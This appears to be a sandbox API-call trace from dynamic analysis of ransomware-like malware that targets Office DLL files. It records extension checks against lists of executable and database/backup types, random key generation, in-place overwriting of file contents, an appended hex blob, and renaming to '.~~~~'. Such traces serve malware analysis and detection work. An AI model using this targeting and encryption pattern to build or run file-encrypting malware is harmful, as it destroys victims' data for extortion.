	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".MYD") returned 0x0
	[0079.330] lstrlenW (lpString=".DBT") returned 4
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DBT") returned 0x0
	[0079.330] lstrlenW (lpString=".ACCDB") returned 6
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.330] lstrlenW (lpString=".fdb") returned 4
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".fdb") returned 0x0
	[0079.330] lstrlenW (lpString=".bak") returned 4
	[0079.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".bak") returned 0x0
	[0079.330] lstrlenW (lpString=".myd") returned 4
	[0079.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".myd") returned 0x0
	[0079.331] lstrlenW (lpString=".DTXS") returned 5
	[0079.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".DTXS") returned 0x0
	[0079.331] lstrlenW (lpString=".ckp") returned 4
	[0079.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".ckp") returned 0x0
	[0079.331] lstrlenW (lpString=".dbt") returned 4
	[0079.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".dbt") returned 0x0
	[0079.331] lstrlenW (lpString=".db") returned 3
	[0079.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".db") returned 0x0
	[0079.331] lstrlenW (lpString=".TXT") returned 4
	[0079.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".TXT") returned 0x0
	[0079.331] lstrlenW (lpString=".MDF") returned 4
	[0079.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".MDF") returned 0x0
	[0079.331] lstrlenW (lpString=".bdb") returned 4
	[0079.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".bdb") returned 0x0
	[0079.331] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0079.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.331] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0079.333] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.333] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0079.333] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19932294962) returned 1
	[0079.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9924ae30, dwHighDateTime=0x1d60e1e)) 
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b678
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b678 | out: hHeap=0x300000) returned 1
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6fe8
	[0079.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b20c8
	[0079.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.333] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0079.334] GetLastError () returned 0x0
	[0079.334] GetLastError () returned 0x0
	[0079.334] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0079.334] GetLastError () returned 0x0
	[0079.334] GetLastError () returned 0x0
	[0079.334] ReadFile (in: hFile=0x130, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.369] WriteFile (in: hFile=0x130, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.370] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.436] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.436] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.436] CloseHandle (hObject=0x130) returned 1
	[0079.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0079.437] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.~~~~")) returned 1
	[0079.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0079.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0079.520] GetLastError () returned 0x0
	[0079.520] RtlWakeConditionVariable () returned 0x365f70
	[0079.520] GetCurrentThreadId () returned 0x9cc
	[0079.520] GetCurrentThreadId () returned 0x9cc
	[0079.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0079.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb538 | out: hHeap=0x300000) returned 1
	[0079.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0079.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb538
	[0079.520] lstrlenW (lpString=".scr") returned 4
	[0079.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".scr") returned 0x0
	[0079.520] lstrlenW (lpString=".cmd") returned 4
	[0079.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".cmd") returned 0x0
	[0079.520] lstrlenW (lpString=".dll") returned 4
	[0079.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".dll") returned 0x0
	[0079.520] lstrlenW (lpString=".bat") returned 4
	[0079.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".bat") returned 0x0
	[0079.520] lstrlenW (lpString=".cpl") returned 4
	[0079.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".cpl") returned 0x0
	[0079.521] lstrlenW (lpString=".sys") returned 4
	[0079.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".sys") returned 0x0
	[0079.521] lstrlenW (lpString=".msc") returned 4
	[0079.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".msc") returned 0x0
	[0079.521] lstrlenW (lpString=".com") returned 4
	[0079.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".com") returned 0x0
	[0079.521] lstrlenW (lpString=".lnk") returned 4
	[0079.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".lnk") returned 0x0
	[0079.521] lstrlenW (lpString=".msp") returned 4
	[0079.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".msp") returned 0x0
	[0079.521] lstrlenW (lpString=".pif") returned 4
	[0079.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".pif") returned 0x0
	[0079.521] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0079.523] lstrlenW (lpString=".sqb") returned 4
	[0079.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".sqb") returned 0x0
	[0079.523] lstrlenW (lpString=".ost") returned 4
	[0079.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".ost") returned 0x0
	[0079.524] lstrlenW (lpString=".txt") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".txt") returned 0x0
	[0079.524] lstrlenW (lpString=".mdt") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".mdt") returned 0x0
	[0079.524] lstrlenW (lpString=".BDB") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".BDB") returned 0x0
	[0079.524] lstrlenW (lpString=".eql") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".eql") returned 0x0
	[0079.524] lstrlenW (lpString=".DBF") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DBF") returned 0x0
	[0079.524] lstrlenW (lpString=".EQL") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".EQL") returned 0x0
	[0079.524] lstrlenW (lpString=".FDB") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".FDB") returned 0x0
	[0079.524] lstrlenW (lpString=".EDB") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".EDB") returned 0x0
	[0079.524] lstrlenW (lpString=".DACPAC") returned 7
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.524] lstrlenW (lpString=".VHD") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".VHD") returned 0x0
	[0079.524] lstrlenW (lpString=".DBV") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DBV") returned 0x0
	[0079.524] lstrlenW (lpString=".dacpac") returned 7
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".dacpac") returned 0x0
	[0079.524] lstrlenW (lpString=".sdf") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".sdf") returned 0x0
	[0079.524] lstrlenW (lpString=".accdb") returned 6
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".accdb") returned 0x0
	[0079.524] lstrlenW (lpString=".DBX") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DBX") returned 0x0
	[0079.524] lstrlenW (lpString=".MDT") returned 4
	[0079.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".MDT") returned 0x0
	[0079.525] lstrlenW (lpString=".SQB") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".SQB") returned 0x0
	[0079.525] lstrlenW (lpString=".vhd") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".vhd") returned 0x0
	[0079.525] lstrlenW (lpString=".bac") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".bac") returned 0x0
	[0079.525] lstrlenW (lpString=".mdf") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".mdf") returned 0x0
	[0079.525] lstrlenW (lpString=".BAK") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".BAK") returned 0x0
	[0079.525] lstrlenW (lpString=".BAC") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".BAC") returned 0x0
	[0079.525] lstrlenW (lpString=".dbs") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".dbs") returned 0x0
	[0079.525] lstrlenW (lpString=".vhdx") returned 5
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".vhdx") returned 0x0
	[0079.525] lstrlenW (lpString=".NDF") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".NDF") returned 0x0
	[0079.525] lstrlenW (lpString=".dat") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".dat") returned 0x0
	[0079.525] lstrlenW (lpString=".DBS") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DBS") returned 0x0
	[0079.525] lstrlenW (lpString=".CKP") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".CKP") returned 0x0
	[0079.525] lstrlenW (lpString=".edb") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".edb") returned 0x0
	[0079.525] lstrlenW (lpString=".PST") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".PST") returned 0x0
	[0079.525] lstrlenW (lpString=".dbf") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".dbf") returned 0x0
	[0079.525] lstrlenW (lpString=".SQL") returned 4
	[0079.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".SQL") returned 0x0
	[0079.526] lstrlenW (lpString=".pst") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".pst") returned 0x0
	[0079.526] lstrlenW (lpString=".dbv") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".dbv") returned 0x0
	[0079.526] lstrlenW (lpString=".SDF") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".SDF") returned 0x0
	[0079.526] lstrlenW (lpString=".dtxs") returned 5
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".dtxs") returned 0x0
	[0079.526] lstrlenW (lpString=".db3") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".db3") returned 0x0
	[0079.526] lstrlenW (lpString=".OST") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".OST") returned 0x0
	[0079.526] lstrlenW (lpString=".dbx") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".dbx") returned 0x0
	[0079.526] lstrlenW (lpString=".DB3") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DB3") returned 0x0
	[0079.526] lstrlenW (lpString=".DAT") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DAT") returned 0x0
	[0079.526] lstrlenW (lpString=".VHDX") returned 5
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".VHDX") returned 0x0
	[0079.526] lstrlenW (lpString=".ndf") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".ndf") returned 0x0
	[0079.526] lstrlenW (lpString=".DB") returned 3
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DB") returned 0x0
	[0079.526] lstrlenW (lpString=".sql") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".sql") returned 0x0
	[0079.526] lstrlenW (lpString=".MYD") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".MYD") returned 0x0
	[0079.526] lstrlenW (lpString=".DBT") returned 4
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DBT") returned 0x0
	[0079.526] lstrlenW (lpString=".ACCDB") returned 6
	[0079.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.527] lstrlenW (lpString=".fdb") returned 4
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".fdb") returned 0x0
	[0079.527] lstrlenW (lpString=".bak") returned 4
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".bak") returned 0x0
	[0079.527] lstrlenW (lpString=".myd") returned 4
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".myd") returned 0x0
	[0079.527] lstrlenW (lpString=".DTXS") returned 5
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".DTXS") returned 0x0
	[0079.527] lstrlenW (lpString=".ckp") returned 4
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".ckp") returned 0x0
	[0079.527] lstrlenW (lpString=".dbt") returned 4
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".dbt") returned 0x0
	[0079.527] lstrlenW (lpString=".db") returned 3
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".db") returned 0x0
	[0079.527] lstrlenW (lpString=".TXT") returned 4
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".TXT") returned 0x0
	[0079.527] lstrlenW (lpString=".MDF") returned 4
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".MDF") returned 0x0
	[0079.527] lstrlenW (lpString=".bdb") returned 4
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".bdb") returned 0x0
	[0079.527] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0079.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.527] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0079.528] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.528] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0079.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0079.528] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19951849794) returned 1
	[0079.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9943a010, dwHighDateTime=0x1d60e1e)) 
	[0079.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
